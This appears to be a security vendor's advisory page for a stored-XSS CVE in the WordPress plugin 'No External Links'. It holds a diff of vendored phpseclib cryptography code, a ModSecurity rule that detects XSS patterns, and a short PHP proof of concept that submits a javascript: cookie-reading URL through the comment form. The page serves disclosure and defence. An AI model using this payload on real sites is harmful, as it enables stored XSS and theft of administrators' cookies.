+                    return $format::save($r, $s);
+                } elseif (self::$forcedEngine === 'OpenSSL') {
+                    throw new BadConfigurationException('Engine OpenSSL is forced but was unable to create signature because of ' . openssl_error_string());
+                }
+            } elseif (self::$forcedEngine === 'OpenSSL') {
+                throw new BadConfigurationException('Engine OpenSSL is forced but unsupported for DSA / ' . $this->hash->getHash());
             }
         }

--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/PublicKey.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/PublicKey.php
@@ -14,6 +14,7 @@
 use phpseclib3CryptCommon;
 use phpseclib3CryptDSA;
 use phpseclib3CryptDSAFormatsSignatureASN1 as ASN1Signature;
+use phpseclib3ExceptionBadConfigurationException;

 /**
  * DSA Public Key
@@ -34,6 +35,14 @@
      */
     public function verify($message, $signature)
     {
+        if (self::$forcedEngine === 'libsodium') {
+            throw new BadConfigurationException('Engine libsodium is forced but unsupported for DSA');
+        }
+
+        if (self::$forcedEngine === 'OpenSSL' && !function_exists('openssl_get_md_methods')) {
+            throw new BadConfigurationException('Engine OpenSSL is forced but unsupported for DSA');
+        }
+
         $format = $this->sigFormat;

         $params = $format::load($signature);
@@ -43,13 +52,17 @@
         $r = $params['r'];
         $s = $params['s'];

-        if (self::$engines['OpenSSL'] && in_array($this->hash->getHash(), openssl_get_md_methods())) {
-            $sig = $format != 'ASN1' ? ASN1Signature::save($r, $s) : $signature;
-
-            $result = openssl_verify($message, $sig, $this->toString('PKCS8'), $this->hash->getHash());
-
-            if ($result != -1) {
-                return (bool) $result;
+        if (function_exists('openssl_get_md_methods') && self::$forcedEngine !== 'PHP') {
+            if (in_array($this->hash->getHash(), openssl_get_md_methods())) {
+                $sig = $format != 'ASN1' ? ASN1Signature::save($r, $s) : $signature;
+
+                $result = openssl_verify($message, $sig, $this->toString('PKCS8'), $this->hash->getHash());
+
+                if ($result != -1) {
+                    return (bool) $result;
+                }
+            } elseif (self::$forcedEngine === 'OpenSSL') {
+                throw new BadConfigurationException('Engine OpenSSL is forced but unsupported for DSA / ' . $this->hash->getHash());
             }
         }

--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC.php
@@ -33,12 +33,15 @@
 use phpseclib3CryptECBaseCurvesMontgomery as MontgomeryCurve;
 use phpseclib3CryptECBaseCurvesTwistedEdwards as TwistedEdwardsCurve;
 use phpseclib3CryptECCurvesCurve25519;
+use phpseclib3CryptECCurvesCurve448;
 use phpseclib3CryptECCurvesEd25519;
 use phpseclib3CryptECCurvesEd448;
 use phpseclib3CryptECFormatsKeysPKCS1;
+use phpseclib3CryptECFormatsKeysPKCS8;
 use phpseclib3CryptECParameters;
 use phpseclib3CryptECPrivateKey;
 use phpseclib3CryptECPublicKey;
+use phpseclib3ExceptionBadConfigurationException;
 use phpseclib3ExceptionUnsupportedAlgorithmException;
 use phpseclib3ExceptionUnsupportedCurveException;
 use phpseclib3ExceptionUnsupportedOperationException;
@@ -75,13 +78,6 @@
     protected $curve;

     /**
-     * Signature Format
-     *
-     * @var string
-     */
-    protected $format;
-
-    /**
      * Signature Format (Short)
      *
      * @var string
@@ -131,6 +127,14 @@
     protected $sigFormat;

     /**
+     * Forced Engine
+     *
+     * @var ?string
+     * @see parent::forceEngine()
+     */
+    protected static $forcedEngine = null;
+
+    /**
      * Create public / private key pair.
      *
      * @param string $curve
@@ -145,31 +149,7 @@
             throw new RuntimeException('createKey() should not be called from final classes (' . static::class . ')');
         }

-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-
-        $curve = strtolower($curve);
-        if (self::$engines['libsodium'] && $curve == 'ed25519' && function_exists('sodium_crypto_sign_keypair')) {
-            $kp = sodium_crypto_sign_keypair();
-
-            $privatekey = EC::loadFormat('libsodium', sodium_crypto_sign_secretkey($kp));
-            //$publickey = EC::loadFormat('libsodium', sodium_crypto_sign_publickey($kp));
-
-            $privatekey->curveName = 'Ed25519';
-            //$publickey->curveName = $curve;
-
-            return $privatekey;
-        }
-
-        $privatekey = new PrivateKey();
-
-        $curveName = $curve;
-        if (preg_match('#(?:^curve|^ed)d+$#', $curveName)) {
-            $curveName = ucfirst($curveName);
-        } elseif (substr($curveName, 0, 10) == 'brainpoolp') {
-            $curveName = 'brainpoolP' . substr($curveName, 10);
-        }
+        $curveName = self::getCurveCase($curve);
         $curve = 'phpseclib3CryptECCurves\' . $curveName;

         if (!class_exists($curve)) {
@@ -180,6 +160,54 @@
         $curveName = $reflect->isFinal() ?
             $reflect->getParentClass()->getShortName() :
             $reflect->getShortName();
+        $curveEngineName = self::getOpenSSLCurveName(strtolower($curveName));
+
+        switch ($curveName) {
+            case 'Ed25519':
+                $providers = [
+                    'libsodium' => function_exists('sodium_crypto_sign_keypair'),
+                    // OPENSSL_KEYTYPE_ED25519 introduced in PHP 8.4.0
+                    'OpenSSL'   => defined('OPENSSL_KEYTYPE_ED25519'),
+                ];
+                break;
+            case 'Ed448':
+                // OPENSSL_KEYTYPE_ED448 introduced in PHP 8.4.0
+                $providers = ['OpenSSL' => defined('OPENSSL_KEYTYPE_ED448')];
+                break;
+            case 'Curve25519':
+                $providers = [
+                    'libsodium' => function_exists('sodium_crypto_box_publickey_from_secretkey'),
+                    // OPENSSL_KEYTYPE_X25519 introduced in PHP 8.4.0
+                    'OpenSSL'   => defined('OPENSSL_KEYTYPE_X25519'),
+                ];
+                break;
+            // OPENSSL_KEYTYPE_X448 introduced in PHP 8.4.0
+            case 'Curve448':
+                $providers = ['OpenSSL' => defined('OPENSSL_KEYTYPE_X448')];
+                break;
+            default:
+                // openssl_get_curve_names() was introduced in PHP 7.1.0
+                // exclude curve25519 and curve448 from testing
+                $providers = ['OpenSSL' => function_exists('openssl_get_curve_names') && substr($curveEngineName, 0, 5) != 'curve' && in_array($curveEngineName, openssl_get_curve_names())];
+        };
+
+        foreach ($providers as $engine => $isSupported) {
+            // if an engine is being forced and the forced engine doesn't match $engine, skip it
+            if (isset(self::$forcedEngine) && self::$forcedEngine !== $engine) {
+                continue;
+            }
+            if ($isSupported) {
+                $result = self::generateWithEngine($engine, $curveEngineName);
+                if (isset($result)) {
+                    return $result;
+                }
+            }
+            if (self::$forcedEngine === $engine) {
+                throw new BadConfigurationException("EC::createKey: Engine $engine is forced but unsupported for $curve");
+            }
+        }
+
+        $privatekey = new PrivateKey();

         $curve = new $curve();
         if ($curve instanceof TwistedEdwardsCurve) {
@@ -189,21 +217,14 @@
         } else {
             $privatekey->dA = $dA = $curve->createRandomMultiplier();
         }
-        if ($curve instanceof Curve25519 && self::$engines['libsodium']) {
-            //$r = pack('H*', '0900000000000000000000000000000000000000000000000000000000000000');
-            //$QA = sodium_crypto_scalarmult($dA->toBytes(), $r);
-            $QA = sodium_crypto_box_publickey_from_secretkey($dA->toBytes());
-            $privatekey->QA = [$curve->convertInteger(new BigInteger(strrev($QA), 256))];
-        } else {
-            $privatekey->QA = $curve->multiplyPoint($curve->getBasePoint(), $dA);
-        }
         $privatekey->curve = $curve;
+        $privatekey->curveName = $curveName;
+        $privatekey->QA = $curve->multiplyPoint($curve->getBasePoint(), $dA);

         //$publickey = clone $privatekey;
         //unset($publickey->dA);
         //unset($publickey->x);

-        $privatekey->curveName = $curveName;
         //$publickey->curveName = $curveName;

         if ($privatekey->curve instanceof TwistedEdwardsCurve) {
@@ -214,16 +235,136 @@
     }

     /**
+     * Returns the actual case of the curve
+     *
+     * Useful for initializing the curve class
+     *
+     * @param string $curveName
+     * @return string
+     */
+    private static function getCurveCase($curveName)
+    {
+        $curveName = strtolower($curveName);
+        if (preg_match('#(?:^curve|^ed)d+$#', $curveName)) {
+            return ucfirst($curveName);
+        }
+        if (substr($curveName, 0, 10) == 'brainpoolp') {
+            return 'brainpoolP' . substr($curveName, 10);
+        }
+        return $curveName;
+    }
+
+    /**
+     * Return the OpenSSL name for a curve
+     *
+     * @param string $curve
+     * @return string
+     */
+    private static function getOpenSSLCurveName($curve)
+    {
+        switch ($curve) {
+            case 'secp256r1':
+                return 'prime256v1';
+            case 'secp192r1':
+                return 'prime192v1';
+        }
+        return $curve;
+    }
+
+    /**
+     * Generate the key for a given curve / engine combo
+     *
+     * @param string $engine
+     * @param string $curve
+     * @return ?PrivateKey
+     */
+    private static function generateWithEngine($engine, $curve)
+    {
+        if ($engine == 'libsodium') {
+            if ($curve == 'ed25519') {
+                $kp = sodium_crypto_sign_keypair();
+
+                $privatekey = EC::loadFormat('libsodium', sodium_crypto_sign_secretkey($kp));
+                //$publickey = EC::loadFormat('libsodium', sodium_crypto_sign_publickey($kp));
+
+                $privatekey->curveName = 'Ed25519';
+                //$publickey->curveName = $curve;
+
+                return $privatekey;
+            } else { // $curve == 'curve25519
+                $privatekey = new PrivateKey();
+                $privatekey->curve = new Curve25519();
+                $privatekey->curveName = 'Curve25519';
+                $privatekey->dA = $privatekey->curve->createRandomMultiplier();
+                $dA = str_pad($privatekey->dA->toBytes(), 32, "", STR_PAD_LEFT);
+                //$r = pack('H*', '0900000000000000000000000000000000000000000000000000000000000000');
+                //$QA = sodium_crypto_scalarmult($dA, $r);
+                $QA = sodium_crypto_box_publickey_from_secretkey($dA);
+                $privatekey->QA = [$privatekey->curve->convertInteger(new BigInteger(strrev($QA), 256))];
+                return $privatekey;
+            }
+        }
+
+        // at this point $engine == 'OpenSSL'
+
+        $curveName = self::getCurveCase($curve);
+
+        $config = [];
+        if (self::$configFile) {
+            $config['config'] = self::$configFile;
+        }
+        $params = $config;
+        switch ($curve) {
+            case 'ed25519':
+                $params['private_key_type'] = OPENSSL_KEYTYPE_ED25519;
+                break;
+            case 'ed448':
+                $params['private_key_type'] = OPENSSL_KEYTYPE_ED448;
+                break;
+            case 'curve25519':
+                $params['private_key_type'] = OPENSSL_KEYTYPE_X25519;
+                break;
+            case 'curve448':
+                $params['private_key_type'] = OPENSSL_KEYTYPE_X448;
+                break;
+            default:
+                $params['private_key_type'] = OPENSSL_KEYTYPE_EC;
+                $params['curve_name'] = $curveName;
+        }
+
+        $key = openssl_pkey_new($params);
+        if (!$key) {
+            return null;
+        }
+        $privateKeyStr = '';
+        if (!openssl_pkey_export($key, $privateKeyStr, null, $config)) {
+            return null;
+        }
+        // clear the buffer of error strings
+        while (openssl_error_string() !== false) {
+        }
+        // some versions of OpenSSL / PHP return PKCS1 keys, others return PKCS8 keys
+        $privatekey = EC::load($privateKeyStr);
+        switch ($curveName) {
+            case 'prime256v1':
+                $privatekey->curveName = 'secp256r1';
+                break;
+            case 'prime192v1':
+                $privatekey->curveName = 'secp192r1';
+                break;
+            default:
+                $privatekey->curveName = $curveName;
+        }
+        return $privatekey;
+    }
+
+    /**
      * OnLoad Handler
      *
      * @return bool
      */
     protected static function onLoad(array $components)
     {
-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-
         if (!isset($components['dA']) && !isset($components['QA'])) {
             $new = new Parameters();
             $new->curve = $components['curve'];
@@ -321,27 +462,6 @@
     }

     /**
-     * Returns the current engine being used
-     *
-     * @see self::useInternalEngine()
-     * @see self::useBestEngine()
-     * @return string
-     */
-    public function getEngine()
-    {
-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-        if ($this->curve instanceof TwistedEdwardsCurve) {
-            return $this->curve instanceof Ed25519 && self::$engines['libsodium'] && !isset($this->context) ?
-                'libsodium' : 'PHP';
-        }
-
-        return self::$engines['OpenSSL'] && in_array($this->hash->getHash(), openssl_get_md_methods()) ?
-            'OpenSSL' : 'PHP';
-    }
-
-    /**
      * Returns the public key coordinates as a string
      *
      * Used by ECDH
@@ -360,6 +480,48 @@
     }

     /**
+     * Convert point to public key
+     *
+     * For Weierstrass curves, if only the x coordinate is present (as is the case after doing a round of ECDH)
+     * then we'll guess at the y coordinate. There are only two possible y values and, atleast in-so-far as
+     * multiplication is concerned, neither value affects the resultant x value
+     *
+     * If $toPublicKey is set to false then a string will be returned - a kind of public key precursor
+     *
+     * @param string $curveName
+     * @param string $secret
+     * @param bool $toPublicKey optional
+     * @return PublicKey|string
+     */
+    public static function convertPointToPublicKey($curveName, $secret, $toPublicKey = true)
+    {
+        $curveName = self::getCurveCase($curveName);
+        $curve = 'phpseclib3CryptECCurves\' . $curveName;
+
+        if (!class_exists($curve)) {
+            throw new UnsupportedCurveException('Named Curve of ' . $curveName . ' is not supported');
+        }
+
+        $curve = new $curve();
+        if (!$curve instanceof TwistedEdwardsCurve) {
+            if ($curve instanceof MontgomeryCurve) {
+                $secret = strrev($secret);
+            } elseif ($curve->getLengthInBytes() == strlen($secret)) {
+                $secret = "3$secret";
+            }
+            if (!$toPublicKey) {
+                return $secret;
+            }
+            $secret = "$secret";
+        } elseif (!$toPublicKey) {
+            return $secret;
+        }
+        $QA = PKCS8::extractPoint($secret, $curve);
+        $key = PKCS8::savePublicKey($curve, $QA);
+        return EC::loadFormat('PKCS8', $key);
+    }
+
+    /**
      * Returns the parameters
      *
      * @see self::getPublicKey()
@@ -380,7 +542,7 @@
     /**
      * Determines the signature padding mode
      *
-     * Valid values are: ASN1, SSH2, Raw
+     * Valid values are: ASN1, IEEE, SSH2, Raw
      *
      * @param string $format
      */
@@ -463,18 +625,4 @@

         return parent::withHash($hash);
     }
-
-    /**
-     * __toString() magic method
-     *
-     * @return string
-     */
-    public function __toString()
-    {
-        if ($this->curve instanceof MontgomeryCurve) {
-            return '';
-        }
-
-        return parent::__toString();
-    }
 }
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/BaseCurves/Montgomery.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/BaseCurves/Montgomery.php
@@ -223,6 +223,9 @@
         $p2 = $this->convertToInternal($p);
         $x = $p[0];

+        $r = $this->randomInteger();
+        $p2 = [$p2[0]->multiply($r), $p2[1]->multiply($r)];
+
         $b = $d->toBits();
         $b = str_pad($b, 256, '0', STR_PAD_LEFT);
         for ($i = 0; $i < strlen($b); $i++) {
@@ -274,6 +277,9 @@
             return $p;
         }
         list($x, $z) = $p;
+        if ($z->equals($this->zero)) {
+            return [clone $this->zero];
+        }
         return [$x->divide($z)];
     }
 }
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/Curve25519.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/Curve25519.php
@@ -18,6 +18,8 @@

 class Curve25519 extends Montgomery
 {
+    const SIZE = 32;
+
     public function __construct()
     {
         // 2^255 - 19
@@ -47,10 +49,12 @@
      */
     public function multiplyPoint(array $p, BigInteger $d)
     {
-        //$r = strrev(sodium_crypto_scalarmult($d->toBytes(), strrev($p[0]->toBytes())));
+        $d = $d->toBytes();
+        $d = str_pad($d, 32, "", STR_PAD_LEFT);
+
+        //$r = strrev(sodium_crypto_scalarmult($d, strrev($p[0]->toBytes())));
         //return [$this->factory->newInteger(new BigInteger($r, 256))];

-        $d = $d->toBytes();
         $d &= "xF8" . str_repeat("xFF", 30) . "x7F";
         $d = strrev($d);
         $d |= "x40";
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/Curve448.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/Curve448.php
@@ -18,6 +18,8 @@

 class Curve448 extends Montgomery
 {
+    const SIZE = 56;
+
     public function __construct()
     {
         // 2^448 - 2^224 - 1
@@ -58,10 +60,12 @@
      */
     public function multiplyPoint(array $p, BigInteger $d)
     {
-        //$r = strrev(sodium_crypto_scalarmult($d->toBytes(), strrev($p[0]->toBytes())));
+        $d = $d->toBytes();
+        $d = str_pad($d, 56, "", STR_PAD_LEFT);
+
+        //$r = strrev(sodium_crypto_scalarmult($d, strrev($p[0]->toBytes())));
         //return [$this->factory->newInteger(new BigInteger($r, 256))];

-        $d = $d->toBytes();
         $d[0] = $d[0] & "xFC";
         $d = strrev($d);
         $d |= "x80";
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/Common.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/Common.php
@@ -14,10 +14,14 @@
 namespace phpseclib3CryptECFormatsKeys;

 use phpseclib3CommonFunctionsStrings;
+use phpseclib3CryptEC;
 use phpseclib3CryptECBaseCurvesBase as BaseCurve;
 use phpseclib3CryptECBaseCurvesBinary as BinaryCurve;
+use phpseclib3CryptECBaseCurvesMontgomery;
 use phpseclib3CryptECBaseCurvesPrime as PrimeCurve;
 use phpseclib3CryptECBaseCurvesTwistedEdwards as TwistedEdwardsCurve;
+use phpseclib3CryptECCurvesCurve25519;
+use phpseclib3ExceptionBadConfigurationException;
 use phpseclib3ExceptionUnsupportedCurveException;
 use phpseclib3FileASN1;
 use phpseclib3FileASN1Maps;
@@ -274,6 +278,9 @@
      */
     public static function extractPoint($str, BaseCurve $curve)
     {
+        if ($curve instanceof Montgomery) {
+            return [new BigInteger($str, 256)];
+        }
         if ($curve instanceof TwistedEdwardsCurve) {
             // first step of point deciding as discussed at the following URL's:
             // https://tools.ietf.org/html/rfc8032#section-5.1.3
@@ -524,6 +531,54 @@
         throw new UnsupportedCurveException('Curve cannot be serialized');
     }

+    private static function deriveMontgomeryPublicKey(array $components)
+    {
+        $curve = $components['curve'];
+        $dA = $components['dA'];
+        $forcedEngine = EC::getForcedEngine();
+
+        $useLibsodium = !isset($forcedEngine) && $curve instanceof Curve25519 && function_exists('sodium_crypto_box_publickey_from_secretkey');
+        if ($forcedEngine === 'libsodium') {
+            $useLibsodium = true;
+            if (!$curve instanceof Curve25519) {
+                throw new RuntimeException('Engine libsodium is forced but is not supported for Curve448');
+            }
+            if (!function_exists('sodium_crypto_box_publickey_from_secretkey')) {
+                throw new BadConfigurationException('Engine libsodium is forced but not available');
+            }
+        }
+
+        if ($useLibsodium) {
+            //$r = pack('H*', '0900000000000000000000000000000000000000000000000000000000000000');
+            //$QA = sodium_crypto_scalarmult($dA->toBytes(), $r);
+            $QA = sodium_crypto_box_publickey_from_secretkey(str_pad($dA->toBytes(), 32, chr(0), STR_PAD_LEFT));
+            return [$components['curve']->convertInteger(new BigInteger(strrev($QA), 256))];
+        }
+
+        $useOpenSSL = !isset($forcedEngine) && function_exists('openssl_pkey_get_private');
+        if ($forcedEngine == 'OpenSSL') {
+            $useOpenSSL = true;
+            if (!function_exists('openssl_pkey_get_private')) {
+                throw new BadConfigurationException('Engine OpenSSL is forced but is not available');
+            }
+        }
+
+        if ($useOpenSSL) {
+            $pem = PKCS8::savePrivateKey($dA, $curve, []);
+            $res = openssl_pkey_get_private($pem);
+            if ($res !== false && ($details = openssl_pkey_get_details($res)) !== false) {
+                $index = $curve instanceof Curve25519 ? 'x25519' : 'x448';
+                return isset($details[$index]['pub_key']) ?
+                    [$curve->convertInteger(new BigInteger(strrev($details[$index]['pub_key']), 256))] :
+                    PKCS8::load($details['key'])['QA'];
+            } elseif ($forcedEngine == 'OpenSSL') {
+                throw new BadConfigurationException('Engine OpenSSL is forced but was unable to derive the public key because of ' . openssl_error_string());
+            }
+        }
+
+        return [$components['curve']->multiplyPoint($components['curve']->getBasePoint(), $components['dA'])[0]];
+    }
+
     /**
      * Use Specified Curve
      *
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/MontgomeryPrivate.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/MontgomeryPrivate.php
@@ -33,6 +33,8 @@
  */
 abstract class MontgomeryPrivate
 {
+    use Common;
+
     /**
      * Is invisible flag
      *
@@ -59,11 +61,11 @@
                 throw new LengthException('The only supported lengths are 32 and 56');
         }

-        $components = ['curve' => $curve];
-        $components['dA'] = new BigInteger($key, 256);
-        $curve->rangeCheck($components['dA']);
-        // note that EC::getEncodedCoordinates does some additional "magic" (it does strrev on the result)
-        $components['QA'] = $components['curve']->multiplyPoint($components['curve']->getBasePoint(), $components['dA']);
+        $components = [
+            'curve' => $curve,
+            'dA' => new BigInteger($key, 256)
+        ];
+        $components['QA'] = self::deriveMontgomeryPublicKey($components);

         return $components;
     }
@@ -96,6 +98,6 @@
             throw new UnsupportedFormatException('MontgomeryPrivate private keys do not support encryption');
         }

-        return $privateKey->toBytes();
+        return str_pad($privateKey->toBytes(), $curve::SIZE, "", STR_PAD_RIGHT);
     }
 }
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/OpenSSH.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/OpenSSH.php
@@ -111,6 +111,9 @@
         $reflect = new ReflectionClass($curve);
         $name = $reflect->getShortName();

+        if (!isset(self::$curveOIDs[$name])) {
+            throw new UnsupportedCurveException($name . ' is not a curve that the OpenSSH plugin supports');
+        }
         $oid = self::$curveOIDs[$name];
         $aliases = array_filter(self::$curveOIDs, function ($v) use ($oid) {
             return $v == $oid;
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/PKCS1.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/PKCS1.php
@@ -132,8 +132,8 @@
         $components = [];
         $components['curve'] = self::loadCurveByParam($key['parameters']);
         $components['dA'] = new BigInteger($key['privateKey'], 256);
-        $components['QA'] = isset($ecPrivate['publicKey']) ?
-            self::extractPoint($ecPrivate['publicKey'], $components['curve']) :
+        $components['QA'] = isset($key['publicKey']) ?
+            self::extractPoint($key['publicKey'], $components['curve']) :
             $components['curve']->multiplyPoint($components['curve']->getBasePoint(), $components['dA']);

         return $components;
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/PKCS8.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/EC/Formats/Keys/PKCS8.php
@@ -27,12 +27,14 @@
 use phpseclib3CryptECBaseCurvesBase as BaseCurve;
 use phpseclib3CryptECBaseCurvesMontgomery as MontgomeryCurve;
 use phpseclib3CryptECBaseCurvesTwistedEdwards as TwistedEdwardsCurve;
+use phpseclib3CryptECCurvesCurve25519;
+use phpseclib3CryptECCurvesCurve448;
 use phpseclib3CryptECCurvesEd25519;
 use phpseclib3CryptECCurvesEd448;
-use phpseclib3ExceptionUnsupportedCurveException;
 use phpseclib3FileASN1;
 use phpseclib3FileASN1Maps;
 use phpseclib3MathBigInteger;
+use phpseclib3MathCommonFiniteFieldInteger;

 /**
  * PKCS#8 Formatted EC Key Handler
@@ -48,14 +50,14 @@
      *
      * @var array
      */
-    const OID_NAME = ['id-ecPublicKey', 'id-Ed25519', 'id-Ed448'];
+    const OID_NAME = ['id-ecPublicKey', 'id-Ed25519', 'id-Ed448', 'id-X25519', 'id-X448'];

     /**
      * OID Value
      *
      * @var string
      */
-    const OID_VALUE = ['1.2.840.10045.2.1', '1.3.101.112', '1.3.101.113'];
+    const OID_VALUE = ['1.2.840.10045.2.1', '1.3.101.112', '1.3.101.113', '1.3.101.110', '1.3.101.111'];

     /**
      * Break a public or private key down into its constituent components
@@ -81,6 +83,9 @@
             case 'id-Ed25519':
             case 'id-Ed448':
                 return self::loadEdDSA($key);
+            case 'id-X25519':
+            case 'id-X448':
+                return self::loadECDH($key);
         }

         $decoded = ASN1::decodeBER($key[$type . 'Algorithm']['parameters']->element);
@@ -158,20 +163,57 @@
         return $components;
     }

+    private static function loadECDH(array $key)
+    {
+        $components = [];
+
+        if (isset($key['privateKey'])) {
+            $components['curve'] = $key['privateKeyAlgorithm']['algorithm'] == 'id-X25519' ? new Curve25519() : new Curve448();
+            $expected = chr(ASN1::TYPE_OCTET_STRING) . ASN1::encodeLength($components['curve']::SIZE);
+            $privateKey = (string) $key['privateKey'];
+            if (substr($privateKey, 0, 2) != $expected) {
+                throw new RuntimeException(
+                    'The first two bytes of the ' .
+                    $key['privateKeyAlgorithm']['algorithm'] .
+                    ' private key field should be 0x' . bin2hex($expected)
+                );
+            }
+            $components['dA'] = new BigInteger(substr($privateKey, 2), 256);
+        }
+
+        if (isset($key['publicKey'])) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-131591
# This rule targets the comment submission endpoint (wp-comments-post.php) where the malicious URL is injected.
# It detects XSS payloads in the 'url' parameter of comment submissions.
# Note: The actual exploitation occurs later in the admin panel, but blocking at the injection point prevents the attack.

SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026131591,phase:2,deny,status:403,chain,msg:'CVE-2026-131591 via No External Links comment URL XSS',severity:'CRITICAL',tag:'CVE-2026-131591'"
  SecRule ARGS_POST:url "@rx (?i)(javascript:|<script|onerror=|onload=|alert(|prompt(|confirm()" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-131591 - No External Links <= 5.3.0 - Unauthenticated Stored XSS via Comment Link href

$target_url = 'http://example.com'; // WordPress site URL
$post_id = 1; // ID of a post that accepts comments
$payload = 'javascript:alert(document.cookie)'; // XSS payload in URL

// Step 1: Submit a comment with a malicious URL in the author's website field
$comment_data = array(
    'comment_post_ID' => $post_id,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => $payload, // Malicious URL field
    'comment' => 'This is a legitimate comment.',
    'submit' => 'Post Comment'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

echo "Comment submitted. Await approval.n";

// Step 2: After comment is approved and a front-end page view triggers mask insertion,
// an admin visiting the Masks page (wp-admin/admin.php?page=no-external-links) will execute the script.
// This PoC cannot automate the approval or the admin action.

// Note: The payload may need to be adapted based on how the plugin stores the URL.
// For example, using a URL like 'http://example.com/"><script>alert(1)</script>' to break out of href.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.